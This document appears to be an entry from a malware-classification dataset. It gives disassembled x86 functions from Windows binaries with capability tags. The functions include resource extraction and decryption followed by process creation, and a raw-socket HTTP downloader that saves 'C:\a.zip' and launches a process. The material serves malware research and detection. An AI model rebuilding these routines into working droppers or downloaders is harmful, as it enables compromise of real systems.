joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409380
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406e38
xor eax, eax
push ebp
push 0x4095a5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x4093c0
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x4093da
push 0x105
mov eax, dword [ebp - 4]
call fcn.004077dc
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x40958f
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x4095b4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4094a9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x4095b4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4094a9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x4095f0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4094a9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x4095f0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4094a9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x409624
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4094a9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x409658
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40958f
xor eax, eax
push ebp
push 0x409588
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040918c
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x409518
mov eax, dword [ebp - 0x10]
call fcn.00404440
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407834
jmp 0x409563
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x409698
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x409563
mov eax, dword [ebp - 0x10]
call fcn.00404440
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x409698
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407834
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40958f
cmp dword [ebp - 8], 0
je 0x40957e
mov eax, dword [ebp - 8]
call fcn.0040445c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4095ac
lea eax, [ebp - 4]
call fcn.00406d54
ret
Function at 0x409888
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406e38
xor eax, eax
push ebp
push 0x409948
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.00407870
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00407a20
mov eax, dword [ebx]
call fcn.00409750
test al, al
jne 0x409925
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.00407870
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00407a20
mov eax, dword [ebx]
call fcn.00409750
test al, al
jne 0x409925
mov eax, ebx
call fcn.00406d54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40994f
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00406db4
lea eax, [ebp - 4]
call fcn.00406d54
ret

Function at 0x40a204
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x40aed0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004077dc
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x40aee9
test al, 0x10
je 0x40aeed
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40b09c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
push 0x208
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryW
mov eax, ebx
mov edx, esp
mov ecx, 0x104
call fcn.00407870
add esp, 0x208
pop ebx
ret

Function at 0x40b0cc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004077dc
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
setne al
pop ebx
ret

Function at 0x40b214
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetCommandLineW_1
mov ebx, eax
xor eax, eax
movzx edx, word [ebx]
sub dx, 1
jb 0x40b247
sub dx, 0x20
jb 0x40b237
dec dx
je 0x40b23d
jmp 0x40b23f
test al, al
je 0x40b247
jmp 0x40b23f
xor al, 1
add ebx, 2
jmp 0x40b221
add ebx, 2
movzx eax, word [ebx]
dec eax
sub ax, 0x20
jb 0x40b244
mov eax, esi
mov edx, ebx
call fcn.00407834
pop esi
pop ebx
ret
Function at 0x40b3b4
Capabilities:
Encrypt data using rc6

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
lea edx, [esp + 4]
mov eax, dword [0x44cd1c]
mov ecx, 0x40
call fcn.004045e4
mov dword [0x44cc68], 0xb7e15163
mov ebx, 0x2b
mov eax, 0x44cc68
mov edx, dword [eax]
add edx, 0x9e3779b9
mov dword [eax + 4], edx
add eax, 4
dec ebx
jne 0x40b3e2
xor ebx, ebx
xor edi, edi
xor esi, esi
xor ebp, ebp
mov dword [esp], 0x84
mov eax, dword [ebx*4 + 0x44cc68]
add eax, esi
add eax, ebp
mov edx, 3
call fcn.0040b260
mov esi, eax
mov dword [ebx*4 + 0x44cc68], esi
lea edx, [ebp + esi]
mov eax, dword [esp + edi*4 + 4]
add eax, esi
add eax, ebp
call fcn.0040b260
mov ebp, eax
mov dword [esp + edi*4 + 4], ebp
lea eax, [ebx + 1]
mov ecx, 0x2c
cdq
idiv ecx
mov ebx, edx
inc edi
and edi, 0x8000000f
jns 0x40b452
dec edi
or edi, 0xfffffff0
inc edi
dec dword [esp]
jne 0x40b402
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40b4a4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov eax, dword [0x44cd14]
sub dword [ebx + 8], eax
mov eax, dword [0x44cd10]
sub dword [ebx], eax
mov esi, 0x14
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 8]
mov dword [ebx + 0xc], edx
mov edx, dword [ebx + 4]
mov dword [ebx + 8], edx
mov edx, dword [ebx]
mov dword [ebx + 4], edx
mov dword [ebx], eax
mov eax, dword [ebx + 0xc]
mov edx, eax
add eax, eax
inc eax
imul edx, eax
mov eax, edx
mov edx, 5
call fcn.0040b260
mov ebp, eax
mov eax, dword [ebx + 4]
mov edx, eax
add eax, eax
inc eax
imul edx, eax
mov eax, edx
mov edx, 5
call fcn.0040b260
mov edi, eax
mov eax, dword [ebx + 8]
mov edx, esi
add edx, edx
sub eax, dword [edx*4 + 0x44cc6c]
mov edx, edi
call fcn.0040b280
xor eax, ebp
mov dword [ebx + 8], eax
mov eax, dword [ebx]
mov edx, esi
add edx, edx
sub eax, dword [edx*4 + 0x44cc68]
mov edx, ebp
call fcn.0040b280
xor edi, eax
mov dword [ebx], edi
dec esi
test esi, esi
jne 0x40b4be
mov eax, dword [0x44cc6c]
sub dword [ebx + 0xc], eax
mov eax, dword [0x44cc68]
sub dword [ebx + 4], eax
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x418bf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x418c49
test eax, edx
je 0x418c4c
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x418c07
movzx eax, word [eax]
sub eax, ecx
jmp 0x418c2e
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x418c2f
add ecx, 4
js 0x418c1f
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x418c2c
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x418c2e
xor eax, eax
ret
test eax, eax
je 0x418c58
test edx, edx
jne 0x418bf8
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret
Function at 0x41916c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, edx
mov ebp, eax
mov byte [esp], 0
mov eax, ebp
test eax, eax
je 0x419184
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x41918c
mov al, 1
jmp 0x4191a9
movzx esi, word [ebp]
mov eax, esi
call fcn.0040ba54
test al, al
jne 0x4191a5
cmp si, 0x5f
je 0x4191a5
xor eax, eax
jmp 0x4191a7
mov al, 1
xor al, 1
test al, al
jne 0x419239
test bl, bl
je 0x4191f9
mov eax, ebp
test eax, eax
je 0x4191c0
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
sub ebx, 2
jl 0x419235
inc ebx
mov esi, 2
movzx edi, word [ebp + esi*2 - 2]
mov eax, edi
call fcn.0040bae0
test al, al
jne 0x4191ed
cmp di, 0x5f
je 0x4191ed
cmp di, 0x2e
je 0x4191ed
xor eax, eax
jmp 0x4191ef
mov al, 1
test al, al
je 0x419239
inc esi
dec ebx
jne 0x4191cd
jmp 0x419235
mov eax, ebp
test eax, eax
je 0x419204
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
sub ebx, 2
jl 0x419235
inc ebx
mov esi, 2
movzx edi, word [ebp + esi*2 - 2]
mov eax, edi
call fcn.0040bae0
test al, al
jne 0x41922b
cmp di, 0x5f
je 0x41922b
xor eax, eax
jmp 0x41922d
mov al, 1
test al, al
je 0x419239
inc esi
dec ebx
jne 0x419211
mov byte [esp], 1
movzx eax, byte [esp]
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x41d6ac
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41d6e5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00406eac
jmp 0x41d6ee
mov eax, ebx
mov edx, esi
call fcn.00407104
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x41d6f8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41d71a
movzx eax, word [esp]
jmp 0x41d71c
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x41e3e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x41e505
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0041e1e8
mov esi, eax
mov eax, dword [0x4499c8]
cmp byte [eax], 0
je 0x41e4ad
mov eax, dword [0x449860]
call fcn.00404c84
call fcn.00404594
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x41e3b0]
call fcn.004087b0
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x41e520
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x41e4e9
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x449830]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x44cc48]
call fcn.00408874
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e50c
lea eax, [ebp - 4]
mov edx, dword [0x41e3b0]
call fcn.004087bc
ret

Function at 0x41f978
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.0040722c
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040a1e4
mov edi, eax
cmp edi, 0x104
jbe 0x41f91f
mov eax, edi
add eax, eax
call fcn.00404440
mov esi, eax
jmp 0x41f921
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040a1e4
mov eax, esi
push eax
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x41f95c
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x41f946
mov eax, esp
cmp esi, eax
je 0x41f969
mov eax, esi
call fcn.0040445c
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x41f9a4
cmp bl, 0
je 0x41f9a0
cmp bl, 0x41
jl 0x41f99b
cmp bl, 0x5a
jg 0x41f99b
or bl, 0x20
xor al, bl
inc esi
jmp 0x41f97f
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x41f8e0

Function at 0x420184
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.00407870
add esp, 0x800
pop ebx
ret
Function at 0x443ed0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x443ed9
mov eax, dword [ebp - 4]
add esp, 0xfffffff4
push esi
xor ecx, ecx
mov dword [ebp - 0x2010], ecx
mov dword [ebp - 0x200c], ecx
mov dword [ebp - 0x2008], ecx
mov dword [ebp - 0x2004], ecx
mov esi, edx
xor edx, edx
push ebp
push 0x443ffa
push dword fs:[edx]
mov dword fs:[edx], esp
mov ecx, 0x1000
lea edx, [ebp - 0x2000]
mov word [edx], 0x20
add edx, 2
dec ecx
jne 0x443f1f
sub eax, 1
jb 0x443f39
je 0x443f6f
dec eax
je 0x443fa8
jmp 0x443fc2
lea eax, [ebp - 0x2000]
push eax
push 0x1000
call sub.kernel32.dll_GetTempPathW
lea eax, [ebp - 0x2004]
lea edx, [ebp - 0x2000]
mov ecx, 0x1000
call fcn.00406eac
mov eax, dword [ebp - 0x2004]
mov edx, esi
call fcn.00418e28
jmp 0x443fc2
lea eax, [ebp - 0x2000]
push eax
push 0
push 0
push 0x1c
push 0
call sub.SHFolder.dll_SHGetFolderPathW
lea eax, [ebp - 0x2008]
lea edx, [ebp - 0x2000]
mov ecx, 0x1000
call fcn.00406eac
mov eax, dword [ebp - 0x2008]
mov edx, esi
call fcn.00418e28
jmp 0x443fc2
lea edx, [ebp - 0x200c]
xor eax, eax
call fcn.004047a0
mov eax, dword [ebp - 0x200c]
mov edx, esi
call fcn.00419c9c
lea edx, [ebp - 0x2010]
mov eax, dword [esi]
call fcn.0040aef4
mov edx, dword [ebp - 0x2010]
mov eax, esi
call fcn.00407104
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444001
lea eax, [ebp - 0x2010]
mov edx, 4
call fcn.00406db4
ret

Function at 0x444008
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x68], edx
mov esi, eax
xor eax, eax
push ebp
push 0x444100
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
xor ecx, ecx
mov edx, 0xc
call fcn.00404cf4
lea eax, [ebp - 0x54]
xor ecx, ecx
mov edx, 0x44
call fcn.00404cf4
mov dword [ebp - 0x10], 0xc
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 8], eax
xor ebx, ebx
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0x20
cmp bl, 1
cmc
sbb eax, eax
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, esi
call fcn.004077dc
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4440c0
lea edx, [ebp - 0x68]
mov eax, 0x443e34
call fcn.0040a150
mov edx, dword [ebp - 0x68]
mov eax, dword [0x449860]
call fcn.00405250
call fcn.00405350
call fcn.00404594
jmp 0x4440ea
push 0xffffffffffffffff
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x60]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444107
lea eax, [ebp - 0x68]
call fcn.00406d54
ret
Function at 0x444110
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, 0x44ffc0
mov esi, 0x44ffb8
mov edi, 0x44ffbc
mov ebp, 0x44ffd0
mov eax, 0x444224
call fcn.0040b460
call fcn.0040b3b4
mov eax, dword [0x44ffac]
push eax
call sub.kernel32.dll_LockResource
mov dword [0x44ffb0], eax
mov eax, dword [0x44ffa8]
push eax
mov eax, dword [0x44cc48]
push eax
call sub.kernel32.dll_SizeofResource
xor edx, edx
mov dword [0x44ffd8], eax
mov dword [0x44ffdc], edx
mov eax, dword [0x44ffd8]
call fcn.00404440
mov dword [0x44ffb4], eax
mov eax, dword [0x44ffb0]
mov dword [esi], eax
mov eax, dword [0x44ffb4]
mov dword [edi], eax
mov dword [ebp], 0
mov dword [ebp + 4], 0
jmp 0x4441c5
mov edx, ebx
mov eax, dword [esi]
mov ecx, 0x10
call fcn.004045e4
mov eax, ebx
call fcn.0040b4a4
mov edx, dword [edi]
mov eax, ebx
mov ecx, 0x10
call fcn.004045e4
add dword [ebp], 0x10
adc dword [ebp + 4], 0
add dword [esi], 0x10
add dword [edi], 0x10
mov eax, dword [0x44ffd8]
mov edx, dword [0x44ffdc]
sub eax, dword [ebp]
sbb edx, dword [ebp + 4]
cmp edx, 0
jne 0x4441e3
cmp eax, 0x10
jae 0x444194
jmp 0x4441e5
jge 0x444194
call fcn.0040b498
mov eax, dword [0x44ffd8]
add eax, dword [0x44ffb4]
dec eax
mov dword [esi], eax
mov eax, dword [esi]
movzx eax, byte [eax]
mov byte [0x44ffe4], al
xor eax, eax
mov eax, dword [0x44ffac]
push eax
call sub.kernel32.dll_FreeResource
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x404208
push dword [ebp + 0xc]
xor eax, eax
xor edi, edi
mov word [ebp - 4], ax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x401029
push 0xfffffffffffffff8
pop eax
jmp 0x401065
push ebx
jmp 0x401043
push 1
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov byte [ebp - 4], 0
add edi, ebx
push 0
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
push esi
test ebx, ebx
jg 0x40102c
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401069
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push str.Mozilla_5.0
push esi
push eax
push str.GET___s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:__s_r_nKeep_Alive:_300_r_nConnection:_keep_alive_r_n_r_n
lea eax, [ebp - 0x204]
push 0x1ff
push eax
call fcn.0040156f
push esi
call fcn.00402d7e
add esp, 0x1c
test eax, eax
jne 0x4010b9
push 0xfffffffffffffffc
pop eax
jmp 0x40114f
push edi
push 2
pop esi
push 0x50
mov dword [ebp - 0x210], eax
mov word [ebp - 0x214], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x212], ax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010ef
push 0xfffffffffffffffb
jmp 0x401106
push 0x10
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401109
push 0xfffffffffffffffa
pop eax
jmp 0x40114e
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401112
push 0
sub ecx, edx
lea eax, [ebp - 0x204]
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push str.C:_a.zip
push 3
push ebx
call fcn.0040156f
push ebx
push edi
call fcn.00401228
add esp, 0x14
mov esi, eax
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040316d
leave
ret
Function at 0x401228
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push esi
push 0
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
jmp 0x40128e
lea eax, [ebp - 0x404]
push str._r_n_r_n
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x4012a3
cmp esi, 0x400
je 0x401292
push eax
push 1
lea eax, [ebp - 0x404]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
test esi, esi
jg 0x401258
push 0xfffffffffffffff9
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040316d
leave
ret
push ebx
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
jmp 0x401295

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x40428b
xor eax, eax
mov dword [ebp - 0x54], esi
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x28
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401322
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp + 0xc], 2
sete al
inc eax
pop edi
pop esi
leave
ret

Function at 0x4016d4
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [0x406120]
lea ecx, [ebp - 0x80]
push ecx
xor edx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.0040316d
add ebp, 0x90
leave
ret